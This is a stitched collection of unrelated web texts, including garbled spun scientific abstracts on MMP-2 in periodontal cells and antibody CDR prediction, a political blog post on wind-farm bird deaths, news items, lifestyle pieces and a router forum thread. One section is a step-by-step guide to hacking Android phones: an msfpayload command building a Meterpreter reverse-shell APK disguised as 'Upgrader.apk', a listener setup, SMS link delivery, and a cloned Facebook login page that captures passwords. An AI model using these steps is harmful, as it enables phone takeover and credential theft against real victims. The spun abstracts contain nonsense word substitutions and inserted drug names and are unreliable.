reversal/adjustment of the noticeable adjustments. Outcomes upregulates appearance of MMP-2 chronically, TIMP-2 and MT1-MMP, with concomitant fibronectin fragmentation To look for the long-term ramifications of a short contact with on MMP-2 appearance in web host cells, PDL cells had been briefly challenged with after that MMP-2 appearance and MMP-2 activation in long-term civilizations with daily moderate adjustments were assessed by gelatin zymography and qRT-PCR. As shown in Fig. 1A, PDL cells constitutively expressed basal levels of pro-MMP-2 with minimal activation for maintenance of homeostatic functions. However, challenge with brought on both chronic increased MMP-2 expression (pro-MMP2) and activation (active MMP-2) in PDL cells. Following a 2h exposure to mediates chronic expression and activation of MMP-2, MT1-MMP, and TIMP-2 in PDL cells, with subsequent fragmentation of cellular fibronectinCultured PDL cells were challenged with ( 0.05 compared to the same time point in the control group. (#) represents p 0.001 compared to the same time point in the control group. Panel A: A representative gelatin zymogram of PDL cell conditioned medium showing the gelatinolytic activity of pro-MMP-2 (72-kDa), active MMP-2 (64-kDa), and dentilisin (100-kDa). The left 4 lanes represent the control unchallenged PDL cells and the right 4 lanes represent the or media control assayed by qRT-PCR. The Y-axis represents fold-expression VEGFA level of each gene relative to unchallenged control at day 3. The X-axis represents different time points. The chronic effects of on MMP-2 expression in PDL cells were regulated at the transcriptional level. MMP-2 mRNA levels were upregulated for up to 12 days as assessed by qRT-PCR (Fig. 1C). Given that the MT1-MMP/TIMP-2 complex is usually a well-known regulator of MMP-2 activation, MT1-MMP and TIMP-2 expression were examined in Imiquimod cell signaling challenged periodontal ligament cells in long-term cultures. Expression of the MT1-MMP/TIMP-2 complex was also chronically upregulated by the challenge, mirroring the changes induced in MMP-2 transcriptional appearance (Fig. 1C). amounts and MMP-2 transcription Imiquimod cell signaling are raised in periodontal disease Study of human tissue from periodontally diseased and healthful sites verified the association between and raised MMP-2 appearance in diseased tissue. Human tissues specimens from.
The accurate prediction of the conformation of Complementarity-Determining Regions (CDRs) is important in modelling antibodies for protein engineering applications. it can improve as more antibody structures are deposited in the databank. In contrast, it is argued that canonical templates and sequence rules may have reached their peak. design of antibodies, antibody humanisation, vaccine design, etc.). Specifically, knowledge of the CDR conformation is crucial for the creation of a stable binding interface, modification of the antibodys binding affinity or even identification of an epitope. Computational methods such as the canonical model or CDR-H3 sequence rules, which attempt conformational prediction of CDRs from sequence alone, have the advantage of being inexpensive and fast while requiring only a simple input; their major drawback being the inability to predict conformations that were never observed before experimentally. In this context, a re-evaluation of the performance of the canonical model in predicting the class of CDR conformation from sequence alone is presented in light of the latest new and multi-level complete CDR clustering (Nikoloudis, Pitts & Saldanha, 2014). The key residues are up to date in the prevailing vonoprazan canonical web templates through the sequences of people of every level-1 cluster/course, and correspondingly the canonical web templates for fresh clusters in confirmed length are filled, using the main element positions defined for your size by Martin & Thornton (1996). Those described essential positions are similar for many clusters of confirmed length. In this real way, an evaluation as to if the canonical model continues to be effective as the quickest and simplest prediction way for antibody CDR conformation can be completed, and the result of canonical residues overlap between web templates due to the proliferation of cluster series populations could be examined. For the hypervariable (both in series and conformation) CDR-H3, the series guidelines for CDR-H3-foundation prediction referred to in Shirai, Kidera & Nakamura (1999) are examined, aswell as their up to date variations in Kuroda et al. (2008). The target here’s to compare the precision of both sets of guidelines and, moreover, to learn if the continual version to fresh sequences with extra rules, overrides and exclusions is effective to the predictive model. Besides tests both of these historical and well-known approaches with an up to Vegfa date dataset, a fresh predictive vonoprazan model from series alone can be introduced which seeks to create improved precision over earlier sequence-based strategies, while retaining their rapid simplicity and execution of utilization. All the features of the brand new technique are comprehensive, step-by-step: inception, goals, basic definitions and concepts, implementation vonoprazan strategies, prediction and training workflows. A demo can be presented of a typical predictive model produced from the method aswell as an vonoprazan evaluation of its effectiveness on a single group of CDRs useful for the tests from the canonical model and CDR-H3-foundation guidelines. As this fresh technique allows parameterisation, potential dedicated function could make use of the general platform offered and propose a variety of or improved implementations. The prediction outcomes obtained by the brand new technique are directly in comparison to those from previous approaches and complemented by statistical characteristics of the training, validation and test sets. Additionally, special importance is usually attributed to each methods performance in predicting the major cluster/conformation (class-I) in any given CDR/length combination (e.g., CDR-L1 11-residues). Indeed, as is usually revealed by the population percentages per cluster in Nikoloudis, Pitts & Saldanha (2014), in each CDR/length with more than 10.
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Feds playing favorites: Wind industry keeps getting a free pass on bird deaths
posted at 2:41 pm on December 18, 2012 by Erika Johnsen
The environmental lobby has used the Endangered Species Act and its many wildlife-related legal brethren to accomplish any number of their radical goals, including designating lands as untouchable wilderness and bringing the pain on oil and gas companies for any infractions, real or imagined. The golden eagle, the spotted owl, the sage grouse, and etcetera get constant lip service from the greens in shutting off access to drilling in specific areas, and the Obama administration has been only too happy to follow the strict letter of the law when it comes to these hydrocarbon industries.
When it comes to the wind industry, however, mass bird deaths are oftentimes miraculously overlooked by the feds. Fox News reports on the many instances of the Justice Department, the Interior Department and its many zealous agencies, and etcetera finding fault and filing charges against oil and gas companies, but the wind industry seems to be enjoying their coveted status as a designated eco-friendly renewable energy:
Following the deaths of a dozen migratory birds in Montana, Wyoming and Nebraska several years back, a Denver-based oil company was fined $22,500. The company was also ordered to make an additional $7,500 payment to the National Fish and Wildlife Foundation.
… While the federal government aggressively pursues oil and gas companies for wildlife deaths, it often gives wind producers a pass. …
The wind sector has had an exemption from prosecution under two of America’s oldest wildlife-protection laws: the Migratory Bird Treaty Act and the Eagle Protection Act. A violation of either law could result in a fine up to $250,000 or two years imprisonment. To date, the Obama administration — following in the footsteps of the George W. Bush administration – has not prosecuted a single case against the wind industry. What they have done is gone after oil and natural gas providers for similar infractions.
“How does an industry kill more than 2,000 eagles and not be fined once?” Johns said. “It’s a head scratcher.”
There is a clear double standard at work here. Not only has the wind industry been the recipient of all kinds of cash infusion from the federal government over the years — including the generous production tax credit which they claim they still need in order to “compete” after two decades — but they have more or less been granted implicit immunity from federal wildlife-law prosecution because of the ostensible green banner beneath which they claim they fly.
The funny thing is, even some true-believer greenies have found reasons to criticize the wind industry (and the solar industry!), as the above article suggests. But, in an attempt to appeal to the only vaguely informed but oh-so-eco-trendy voters that make up much of the Democratic base, not to mention the rent-seeking ‘clean’-energy lobby from which they receive all kinds of moolah, the Obama administration has invested far too much money and political capital in renewable energies to not defend them at all costs.
And, while we’re on the subject, here’s yet another example of the green-energy industry and the Obama administration tangled up in something that smells awfully sketchy, via Bloomberg:
A startup automaker financed by the U.S. government won a regulatory decision that Chrysler Group LLC said will give its competitor a monopoly on selling wheelchair-accessible minivans to transit agencies.
The U.S. Federal Transit Administration’s decision will require local providers of transit services for the disabled to buy vans from Vehicle Production Group LLC unless they present a compelling reason to buy from another producer. …
The decision will help VPG, which also makes other vehicles, gain sales next year as the decision was effective immediately, Walsh said. …
VPG won a $50 million loan in March 2011 from the U.S. Energy Department under an alternative-vehicle development program that’s also backed Ford Motor Co. (F), Nissan Motor Co., Tesla Motors Inc. (TSLA) and Fisker Automotive Inc.
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Learning Italian abroad in Rome, Italy is one of many language immersion programs offered by AmeriSpan. Known for its diverse regions, rich culture, and fabulous food, boot-shaped Italy possesses perhaps the most instantly identifiable physical shape of any country in the world. You can visit Roman ruins, gawk at Renaissance art, stay in tiny hill towns, ski the Alps, explore the canals of Venice, and see more churches than you can imagine. Naturally, you can indulge in the elementary pleasures of good food, improving your wardrobe, and seeking out "la dolce vita." From its beaches to its Alpine mountains, Italy vibrates with a special soul that is reflected in its people, music, and art.
Learn Italian Language in Italy:
Rome is located in the middle of Italy on its western coast, about 20km inland. The sense of history, art, and architecture in Rome is all-embracing, and quite simply a feast for the eyes. There is a hectic vibrancy of anarchic traffic, piazzas, fountains, and fabulous restaurants. The historic city center is quite small and most of the major sights are within a reasonable distance of the central railway station.
Walking around Rome is a step into the world’s biggest open air museum.
From spectacular palaces, millenium-old churches and basilicas, grand roman ruins, cahrming places ornate with Barrocan statues in graceful fountains, Rome has an immensely rich historical heritage and cosmopolitan atmosphere, making it one of Europe's and the world's most visited and beautiful European capitals.
Argentina Brazil Canada Chile China Colombia Costa Rica Dominican Republic Ecuador France Germany Greece Guatemala India Italy Japan Jordan Korea Mexico Panama Peru Poland Portugal Puerto Rico Russia Spain Switzerland Uruguay
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Outgoing Ohio Congressman Dennis Kucinich arranged for me to give a briefing at Congress today on the Fiscal Cliff, and how the downturn of 1937 could be a foretaste of what will happen if the Cliff comes to pass.
I argue that an attempt by the government to reduce its debt now may trigger a renewed bout of deleveraging by the private sector–and this is what appeared to happen in 1937, when confidence that the worst of the Depression was over led to the government reducing its deficit.
Private sector deleveraging, which had stopped in 1934-35, began once more and unemployment rapidly rose from about 10 to almost 20 percent. The main danger with the Fiscal Cliff is therefore not what the reduction of government spending will do on its own, but that it might trigger a renewed bout of deleveraging from the $40 trillion overhang of private debt that I call the “Rock of Damocles”.
Dennis Kucinich’s introduction:
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The government has announced a set of rules which are designed to force energy companies to be continuously offering their customers the best energy deals in the market. It is thought that the rules could save energy customers as much as £100 each year.
Nick Clegg, the deputy Prime Minster will be announcing the rules in a speech on the future of green energy in the UK. He is expected to argue that the UK can take a leading role when it comes to green issues even in times of austerity.
The speech will suggest that energy companies will need to tell their customers at least once per year if they could be on a cheaper tariff and to tell them exactly how they can switch tariffs easily. This new rule will be in place from the Autumn and those who are more vulnerable, such as those on the Warm Front scheme will be contacted twice yearly.
Customers can also contact their supplier at any time to ask if they on the best tariff even if their contract is yet to end. It is thought that 70% of energy customers are not on the best deals, yet only 25% of people change their tariffs once a year.
Switching will also become easier with the introduction of a smart phone barcode which will be put on bills. This will allow the customer to get quotes and switch tariffs in a matter of minutes.
Clegg says that the UK is entering a time of transformation and the mantra should be “waste not, want not”. He suggests that thrift and environmentalism can work in tandem.
This new set of rules will be introduced to coincide with the Green Deal.
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Show Mother Nature the proper respect
My four-year-old daughter would spend every waking moment in the great outdoors if her mother and I would let her. She loves to fish and she loves the snow and generally just running and jumping in the grass. Not a day goes by that she doesn’t ask to go outside to play.
Now I’ve discovered that currently our five-month-old son’s favorite activity is playing in leaves. It’s amazing just how big of a smile spreads across his face when you put him down in a great big pile of Mother Nature’s most colorful fall decorations. Of course you have to make sure he doesn’t eat the leaves, but hey, he’s five months old.
How did my wife and I get so lucky as to have two kids who already love being outdoors? This might be surprising, but the answer is actually simple . . . we took them outside to play!
As parents, passing down our enjoyment of the outdoors falls to us. It’s awfully hard for kids to develop a love for the outdoors if they don’t spend any time there.
It’s more than just passing on a love for everything Mother Nature has created, though. If we don’t instill a sense of respect for the outdoors in our children, then we are not doing them any favors.
It seems today, more and more folks treat the great outdoors as something they’re entitled to use rather than as something to be respected and enjoyed. Entitlement is a dangerous belief, and much like love and respect, it seems to be passed down from generation to generation.
When I see a five-year-old kid throw an empty root beer can off the side of a boat and watch his parent or grandparent laugh as it bobs in the water, it makes me sad. It makes me sad because I know 20 years from now that same five-year-old will be the person leaving behind the trail of beer cans that I have to pick up from my favorite grouse woods.
Just like in life, when someone or something is continually mistreated, it will eventually go away. The same can be said for Mother Nature. She has graced us with abundant beauty and myriad opportunities for enjoyment. The least we can do is to pick up after ourselves, and teach our children to do the same.
That is the type of respect I strive to instill in my daughter and son. I want every opportunity that my kids have to be available to my grandkids and their grandkids as well. Ultimately, when I take a picture of my son smiling in a pile of leaves, I don’t want to have to first pick up a slew of empty pop cans. Mother Nature deserves better than that, and so do we.
Doug Berdan is a columnist and outdoor humorist who also writes under the pseudonym Remington J. Crockett.
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|Decades:||1980s 1990s 2000s|
West Palm Beach, Florida, USA. Henderson began his musical career at the age of 16 by playing the guitar under the influence of his 60s guitar heroes Jimi Hendrix, Jeff Beck, Ritchie Blackmore and Jimmy Page. He spent his formative years playing in local rock and funk bands in his native Florida. Initially self-taught, Henderson began his formal musical education in 1978 by attending Florida Atlantic University to study composition and big band arrangement. In 1980, he moved to Los Angeles, California to attend the Guitar Institute of Technology, under teachers such as Joe Diorio. There, Henderson began to master his jazz studies and develop a fusion guitar style that would combine his rock and funk background, the influence of Mahavishnu Orchestra and Weather Report, and the hard bop of the 60s Miles Davis Quintet. After graduation, Henderson was asked to become a member of the Guitar Institute of Technology faculty. His subsequent work with artists such as Jeff...
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Your Robot Overlords
Originally uploaded by MikeOliveri.
The Midget’s teacher put out a call for parents to help build robots. Who am I to pass up an opportunity to take an hour or so out of the workday to help kids play with aluminum foil, cardboard, and PVC tubing?
Not only was I the only dad to show up, I was the only one to show up with a battery-powered reciprocating saw. Hot glue? Pipe cleaners? Yeah, we’ll get there.
First we need to cut some shit up.
I got to work with the Midget first. I asked him what kind of robot he wanted.
“A Death Robot!”
That’s my boy! By the time we finished, his robot had a jet pack and a flame thrower. If you look at the picture, you’ll see a tall robot with eyes as black and evil as our souls. Yeah. That’s the Death Robot.
That’s about the time I noticed the robots the women were building were all… different. They’re all cutesy smiles and clever, crafty bits that make their robots look all nicey-nice. Sure, a couple had jet packs, but you don’t see any chest-mounted torpedo launchers on their robots. They were more worried about hair and hats.
(Yes, hair. On a robot. No, I don’t get it either.)
Our robot doesn’t even have a mouth. The Midget did ask if it needed one, but in the end we decided it wasn’t going to eat; it would be too busy roasting the flesh from your bones.
Function over form, baby.
The next kid I helped built a different robot. His is the second from the right, with the pipe-cleaner smile and the big doe eyes. Mom obviously packed his kit, because he had a whole rainbow of pipe cleaners and bags of marshmallows and cotton balls. Mom had a design in mind and he rolled with it.
Hey, it’s cool. It’s the kid’s project, after all. We glued it together and he was happy as a clam when he went back to class. Moments later, out came the Midget’s best buddy. He sat down with his scissors and bottle of Elmer’s glue, and he had a bag of whatever knick knacks his folks found at the bottom of a drawer.
“No sweat, Buddy,” I said. “We got all these other parts to work with.”
His eyes lit up as he surveyed the cardboard tubes, the PVC pipes, the extra caps and bottles, and yes, the reciprocating saw.
“Now, what kind of robot do you want to build?”
“I want him to have a sword for chopping up bad guys!”
Not hard to see why he and the Midget were buddies.
“Rockin’.” I picked up the saw. “You want to help me cut up the PVC?”
His expression wasn’t hard to read. A little later we had a squat robot with eye stalks and a jet pack. That’s him to the left of the Midget’s Death Robot. He’s even got big, stomping feet to shake the earth as he walks. Sadly the lunch bell rang before we could work up a sword.
Once again, no mouth. This robot just gets down to business. Friendly? Cuddly? Not when there’s a horror writer and a reciprocating saw involved!
I can’t wait to build some more robots tomorrow.
About Mike Oliveri
Mike Oliveri is a writer, martial artist, cigar aficionado, motorcyclist, and family man, but not necessarily in that order. He is currently hard at work on the werewolf noir series The Pack for Evileye Books.
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How to hack Android phone by sending a link? Content List How to hack an Android phone by sending a link? Hackers can use various ways to hack and access your phone information. One way is to send a link. If you are an Android user, you should be careful what links you receive on your phone. Any anonymous link may pose a risk of hacking to our phone because this method is mostly used to hack Android mobile devices. We will address this in this article. Hack android phone by sending a link. Getting an attractive link on our phone and opening it or searching for different links can be dangerous for us. Most of these searches lead people to fraudulent sites and ask them to send different programs to Download the title as part of your marketing strategy. In this post, we will explain how to easily access a person's phone step by step. However, keep in mind that this post is for educational purposes only. Hack phone It is considered immoral and an example of a criminal act. To hack an Android phone, you must follow the steps below. 1. Create a link using the appropriate software. The link directs the target phone to your website or application. 2. Send the link via SMS to the target phone. Shorten the URL so that the user of the victim phone can not see the actual link. 3. Adjust the message to appeal to the victim and click on the link immediately. 4. When the victims click on the link, you can hack the phone and get the information you want from his phone. The most important and technical part of this process is creating a link with a suitable software for its operation. The best way is to use Metasploit software on Kali Linux. Various software for this purpose are available in the market. Way 1: How to Hack Android Phone by Sending A Link Kali Linux The steps for working with Kali Linux software are as follows and you must first install the software. Step 1: Get started with Kali Linux - Open Kali's terminal and build a Trojan.apk file. - To create the file, you should type "msfpayload android/meterpreter/reverse_tcp LHOST=22.214.171.124 R > /root/Upgrader.apk" on the terminal. - Replace LHOST IP address with your computer's IP address. - Open Metasploit Console by typing "msfconsole" on the terminal. Step 2: Build A Listener - Once Metasploit Console is done loading, type "use exploit/multi/handler" for multi-handle exploit. - Then type "set payload android/meterpreter/reverse_tcp" - Then type "set LHOST YIPA". While typing, replace YIPA with your IP address. Step 3: Begin Exploiting - Start the listener you created by typing "exploit". - Move the application "Upgrader.apk" you created to your Android phone. - Send the program to your victim's phone and wait for him to install it. - Once he has installed, the Meter Meter notification starts through which you can access his phone information.. Instead of sending the apk file directly, you can send a link that opens your website. The website should have attractive texts and graphics to convince and attract the victim to install the apk file. Use simple HTML to create a website and you can find such code online. Way 2: Create Fake Login Page. How to hack android phone by sending a link ? In this method, we use the phishing technique. Phishing or fishing is an action. Social engineering measures are used to hack the phone, by which we forge the login page of a popular website. Here are the steps to follow. Step 1: Select a popular website like Facebook that you want to impersonate. Step 2: Go to the login page of the website such as www.facebook.com/login. Step 3: Get the HTML code of the website by right-clicking on the body and then clicking View Page Source option from the menu. Step 4: Select all the code shown and paste it into a Notepad text file. Save the file as index.html. Step 5: Now, you need to create a PHP so that when the victim enters username and password through your fake login page, it comes to you. You can find the required code for the PHP file online. Save the PHP file as post.php and make the necessary modifications to sync it with your index.html file. Step 6:Choose a free hosting service and upload the index.html and post.php. Step 7:Get a domain name and use a URL shortener to hide the domain name. Step 8:Send the shortened link to the target person and wait for him to open it. Step 9: The target device will be hacked and you will have access to the device as well as the credentials.. Spyware is an unwanted program or program that may infiltrate your computer. Trojan horse is probably the best name for this software. They inadvertently enter your castle and steal your data, control your device, and manipulate your sensitive personal information. They are malware that may operate invisibly in the background and gain unauthorized access to your phone or computer without your knowledge. Spyware can be used for multiple purposes. But the most common reason for using spyware is stealing private information or selling a user's Internet information to multinational corporations. Many black hat hackers also use spyware to steal a user's credit card or bank account information by monitoring every keystroke and every hit. Mobile spyware is also spyware that can take some control of the device and allow you to track information. Without knowing the user, you can control or monitor virtually any operation of the device. How to protect yourself against spyware. To prevent spyware from infiltrating your phone, you need to make sure that your device never falls into the hands of strangers. Try to avoid clicking on suspicious links, opening malicious websites, or downloading programs from anonymous sources. That being said, you can do anything to protect your phone and privacy, but some forces are more than your best efforts. Fortunately, you can equip your device with cybersecurity software that works better than you. Antivirus installation is the best way. Follow these quick and easy steps to protect your Android phone against spyware: Download Clario and install it on your Android phone, then create an account. Log in to your Clario account. Tap the device icon. Tap the Start Scan button for Clario Spyware Detector. Leave Clario to check your plans for any hidden spyware. Follow the next steps according to the amount of damage.
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Over 90% of the water supplied in the coastal region in Israel in 2013 (600 Mm3 y−1) will be from desalination plants. The wastewater generated from this water (>400 Mm3 y−1) is planned, after proper treatment, to be reused for agricultural irrigation, making this low-salinity water the main agricultural-sector future water source. In this respect both the Mg2 + concentration and the Sodium Adsorption Ratio value of the water are of concern. We show that the typical Na+ concentration addition to wastewater (between ∼100 and ∼165 mg L−1) is much higher than the combined addition of Ca2 + and Mg2 + (between 0 and several mg L−1). Since desalinated water is typically supplied with low Ca2 + and Mg2 + concentrations (∼35 and 0 mg L−1 respectively), the treated wastewater is characterized by very low Mg2 + concentrations, low salinity and very high SAR values, typically >6 and up to 10 (meq L−1)0.5. SAR values can be lowered by adding either Ca2 + or Mg2 + to desalinated water. Adding Mg2 + is preferable from both health (minimizing cardiovascular disease hazards) and agriculture (inexpensive Mg fertilization) aspects. The low cost of Mg2 + addition at the post-treatment stage of desalination plants corroborates the request for Mg2 + addition in regions where treated wastewater from desalinated water origin is planned to be reused for irrigation.
Potential drawbacks associated with agricultural irrigation with treated wastewaters from desalinated water origin and possible remedies
Ori Lahav, Malka Kochva, Jorge Tarchitzky; Potential drawbacks associated with agricultural irrigation with treated wastewaters from desalinated water origin and possible remedies. Water Sci Technol 1 May 2010; 61 (10): 2451–2460. doi: https://doi.org/10.2166/wst.2010.157
Download citation file:
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Located in Oklahoma, 966-square-mile Lincoln County accounts for less than one percent of the state's total land area. Of Oklahoma's 77 counties, Lincoln County ranks 30th in terms of the size of its population (35,042, according to 2015 Census estimates). Recent Lands of America data shows that the average price-per-acre value of land and acreage for sale in Lincoln County is $2,660. The average list price of property and land for sale was $156,377 (the most expensive listing being for $550,000) and the median size of land and real estate for sale in Lincoln County was 30 acres. Land for sale in Lincoln County totaled 1,823 acres and $4.8 million in overall land value, with the city of Prague featuring the most land for sale in the county. Farmland was the most common type of land for sale in Lincoln County.
Lincoln County Oklahoma Recreational Property for sale
Ready to Hunt!! This is the perfect Recreation Ranch, 440 acres MOL, just 20 minutes from OKC, near Harrah, Ok. Secluded wooded land with great Deer and Turkey Hunting, 60 % timber with 40% pasture, and bottom land. Old Frame house could be your hunting cabin. 4 newly drilled wells with solar panel pumps.
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http://www.landsofamerica.com/Lincoln-County-OK/recreational-property/
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Co-op and Iceland have become the first two major supermarkets to back a bottle deposit return scheme in response to calls from environmental activist group Greenpeace.
The proposed scheme would see the retailers raise the prices of plastic bottle drinks and pay the extra costs back to customers when they return the bottles.
Although Greenpeace welcomed support from the two grocers, other supermarkets were not so quick to offer their approval.
Many expressed reservations about the initiative, which is designed to reduce plastic waste in the oceans harming wildlife and entering the food chain.
One key concern is that it will remove recyclable materials from household collection schemes, meaning bottles may have to be made from less recyclable containers.
“We are committed to ensuring all of our own packaging will be recyclable and we are firm supporters of initiatives designed to boost recycling levels,” Co-op retail chief executive Jo Whitfield said.
“We look forward to working with others, including government, local authorities, manufacturers and other retailers, to help design a scheme that delivers in all these areas.”
Iceland’s director for sustainability Richard Walker said: “Introducing a deposit return scheme may well add to our costs of doing business.
“However, we believe it is a small price to pay for the long-term sustainability of this planet. I urge all other retailers to do the right thing and follow suit.”
Greenpeace campaigner Louise Edge added: “It is possible to prevent throwaway plastic polluting our rivers and oceans, but to achieve this we really need companies to step up to the plate.
“Iceland and Co-op have shown some vision and set the standard, now it’s time for other companies to follow suit and start publicly backing deposit return schemes.”
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CC-MAIN-2022-33
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Join the remarkable people working to improve education across America.
- Get Involved
- Top Stories
Where We Work
Robert Cook is managing director of Teach For America’s Native Achievement Initiative. Cook will be leading a session on Improving Education in Rural America at Teach For America’s inaugural Alumni Awards and Educators Conference in Detroit on July 18, 2013. The conference gathers alumni teachers, school leaders and school systems leaders from across the country fora day of networking and professional development. Travel stipends are available. Alumni educators: register today.
Recently, our youngest son began his journey as an eighth grader in the Rapid City School District and today he is firm in his schedule: pre-algebra, science, English, Orchestra, PE, reading and social studies. Last week, my wife and I had the opportunity to meet all of his teachers and tour the school and his classrooms. I feel good about the educational opportunities provided for Caleb and his friends. Unfortunately, that is not the case for many of our Native students here in rural South Dakota or on my home reservation of Pine Ridge, located just 80 miles away.
For twenty years I had the honor to work as a classroom teacher in our tribal schools serving Native children. I often share my story of how I never had a job interview until I was hired for my present job at Teach For America. The stark reality is very few of our teachers working in tribal schools have job interviews, and the reason is our tribal schools have less than one applicant for every open teaching position. Recruiting great teachers to serve in our tribal schools is a challenge. Despite the obvious beauty of the landscape and rich history of our tribal culture, many of our tribal schools are rural, isolated, and provide limited housing options for our students and families. Even access to the basic needs of fresh food and quality health care is often hours away.
All this being reality here year after year, I thought I’d check out the Bureau of Indian Education jobs website to see what the teacher shortage looked like at the start of a new school season. The BIE oversees 187 schools located across 23 states and serves over 50,000 Native children. It is frustrating to know that while we are welcoming students back to school across the country there are scores of teaching positions still open and tribal schools still searching for teachers. No wonder that for so many of our Native students the academic achievement gap is widening.
Perhaps an open teaching position in a major city can and is typically filled quickly, but unfortunately that is not usually the case for an open teaching position in an underserved rural tribal school. The result of that vacancy can be devastating for children who don't have access to the support or resources of a caring, supportive teacher. The responsibility to ensure quality effective teachers for every student attending tribal schools is more than a federal responsibility. It is a call to action and a moral responsibility for every person who feels inspired to ensure every student has access to a great education. I challenge those who want to battle for education equity to bring your fight to "Indian" country. Together with our allies we can make sure our Native students are reaching their fullest potential.
Robert Cook is managing director of Teach For America’s Native Achievement Initiative. Cook has served for 20 years as a teacher and administrator in American Indian education. Most recently, he was principal of Pine Ridge High School on the Pine Ridge Reservation in South Dakota. In May, he was appointed by President Obama to serve on the National Advisory Council on Indian Education, where he will advise Secretary of Education Arne Duncan on federal efforts to improve education for Native children and adults. An enrolled member of the Oglala Sioux Tribe (Oglala Lakota), Cook received a bachelor’s degree in secondary education from Black Hills State University and a master’s degree in education administration from Oglala Lakota College. He is married to Daphne Richards-Cook, and they have two sons who attend public school in Rapid City, S.D.
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STORing your DENTURES
If you wear dentures (false teeth), it’s important that you store them correctly when you are not wearing them – there’s a chance they could dry out. Taking proper care of your dentures can help them last a long time, giving you the confidence to live your life without inhibitions.
STORING YOUR DENTURES
Most denture teeth are made of acrylic that’s designed to cope with everyday use. To help keep your dentures strong this plastic should be kept in water when you are not wearing it – acrylic dentures can warp or distort if they dry out, which could affect your denture fit, potentially needing you to replace your denture sooner than expected.
You should also store your dentures in a safe and secure place out of the reach of children or pets so they don’t become damaged.
CLEANING YOUR DENTURES
It’s important to establish a daily routine for cleaning your dentures. Soaking your denture with specialist denture cleanser tablets, such as those offered in the Polident range, can help keep your denture in good condition. Be sure to follow the instructions as directed on the pack and soak your dentures with the cleansing tablet in warm water – make sure to avoid hot water as it can damage your dentures.
Following the soaking time, brushing your denture with the leftover cleansing solution helps to remove plaque build-up. Then you should give your denture a good rinse under running water and discard the leftover denture cleansing solution.
Your dentures are a part of your daily life, so it’s important to care for them every day too, storing them away safely when you’re not wearing them, and keeping them clean so you can continue to show off your smile.
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Photo by Dante Fontana
The popularity of NBC’s The Biggest Loser has shown America the concept and benefits of group fitness training that incorporates calisthenics, low weight, high repetition weight training and nutrition resulting in weight loss, muscle definition and effectually, diet and lifestyle change.
Beginning a new year, fitness and healthy living are at the forefront of the minds of many. But where do you start? Hire a personal trainer? Join a gym, a cycling or running club? Whether the goal is weight loss, or overall better physical health, consider a boot camp group fitness course.
Boot camp is synonymous with sweaty cadets running through mud, doing push ups, burpees, drills and grunting call and response, but it’s the latest fitness regimen garnering the attention of athletes and those just beginning their fitness journeys. Boot camp courses are generally several week-long, small group, physical training programs that integrate weight and interval training and cardiovascular exercise, and vary significantly depending on the instructor and specific type of course. Some classes are led by former military personnel, trainers familiar with military training, or just trainers with a passion for transforming people inside and out.
Increasing in popularity in recent years, these types of classes have grunted their way to the head of fitness training, especially with women. Many courses are uniquely customized for women, while others welcome male and female participants. Classes can range from 45 minutes to two hours, and are jam-packed with concentrated exercises to maximize results. While individual boot camps are different, a commonality in all is camaraderie and accountability that accompanies small group exercise programs. Fortunately, our area boasts several different boot camp type classes with options for all fitness levels.
Boot camps may not be for everyone, but they offer numerous benefits for the right recruit. Whether aiming to lose holiday pounds or train for an athletic competition, boot camps provide advantages to every type of participant. “Anyone who is motivated and determined to better their physical and mental wellbeing should sign up. Our drill instructors are dynamic in challenging anyone from a beginner seeking to lose weight, to a triathlete looking to improve their personal bests,” says Adam Attia, owner of Fitness Rangers Bootcamp. Small group fitness instruction fosters community and encourages accountability, not just between the trainer and students, but also among students themselves. Participants pair up and compete with other members to promote cohesion among classmates. An added benefit of a low class size is the personalized attention each member receives. Attia observes each “soldier” and offers encouragement and proper form instruction. Erika Jones started taking boot camp courses three years ago.
“It has completely changed the shape of my body. By the end of the six-week course, I felt stronger, leaner and generally more energized,” Jones says. She also states that the body transformation encourages nutritious eating habits to promote an all-around healthy lifestyle.
Fitness Boxing Bootcamp in Folsom punches up the training circuit by adding cardio benefits of boxing. “It provides excellent cardiovascular health, self-confidence, balance, flexibility, agility, and improved eye-hand coordination. Additionally, people find the boxing element of the workout to be very liberating and a great stress relief,” says Shon Moore, professional kickboxer and instructor at Fitness Boxing Bootcamp.
Many boot camp instructors explain that the benefits of taking such a class include variety. Combining rigorous indoor and outdoor activity segments classes and takes advantage of the pleasant climate our area enjoys. Each class is different to ensure a complete body workout and abstain from monotony that can creep into a routine gym visit. “This dynamic style of training burns more calories and fat than more standard and traditional formats of fitness. Boot camp formats cover a wide variety of fitness components and push participants to break physical boundaries, and they prevent the plateau effect that is widely experienced by typical health club members,” notes Moore.
A significant asset to most classes is the frequent contact instructors maintain with participants. Many trainers send encouraging emails, nutrition tips, recipes, reminders, and maybe even some reprimanding notes for missing class. It all adds up to accountability, and without it, attaining fitness goals becomes progressively more difficult.
Another bonus to group fitness is that participants have the opportunity to work with personal trainers at a fraction of the cost of one-on-one personal training. Trainers provide tips to maximize workouts. “Boot camps help participants in learning proper form in exercises that are commonly performed with improper alignment and form such as push-ups, squats and lunges,” says Melissa Thomas, group fitness program director, at California Family Fitness. Trainers suggest consulting a physician before beginning a new workout regimen. While each course is different, individual workouts can include series of stretching, marching, pushups, lunges, squats, cycling and running, and may also utilize resistance bands, stability balls and free weights.
Before enrolling in a boot camp class, realize the commitment involved. Most courses range from four to eight weeks, and are two to five days per week. Set up a meeting with the instructor to discuss health goals and any inhibitions. There are classes available for all levels and abilities, so prepare to combat fitness foes and bare your best body in 2010!
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<urn:uuid:5729e226-69b2-4971-b4e0-eba3489ff803>
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CC-MAIN-2017-04
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http://www.stylefedh.com/2009/12/30/38951/basic-training
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i am trying to install openwrt in W120
- CPU : broadcom 4709A0
- vendor : dasan networks
- Ethernet port : 2port (10/100/1000Base-T)
- IEEE 802.11 a/b/g/n/ac, Dual-Band/Dual-Concurrent 3:3x3 MIMO
- Max. Tx Power : 23dBm (2.4G/5G)
- Flash : 256MB
- Memory : DDR3 512MB
it is possible to install openwrt in?
I have one more question.
The w120 and linksys wry 610n use a similar type of CPU as bcm47xx.
If squashfs.bin of wrt610n is installed on w120, can it be operated?
No, there is no such thing as a 'generic' version of OpenWrt for embedded targets like mips or arm. If you want to see your device to be supported by OpenWrt, you'll have to go the long way round and port it to your device properly.
but even if you do get your device ported properly, its wireless will remain close to unusable - and that is not going to 'ever' change with Broadcom wireless.
This topic was automatically closed 10 days after the last reply. New replies are no longer allowed.
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CC-MAIN-2022-33
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Matthew Hilton - Dora, 1996
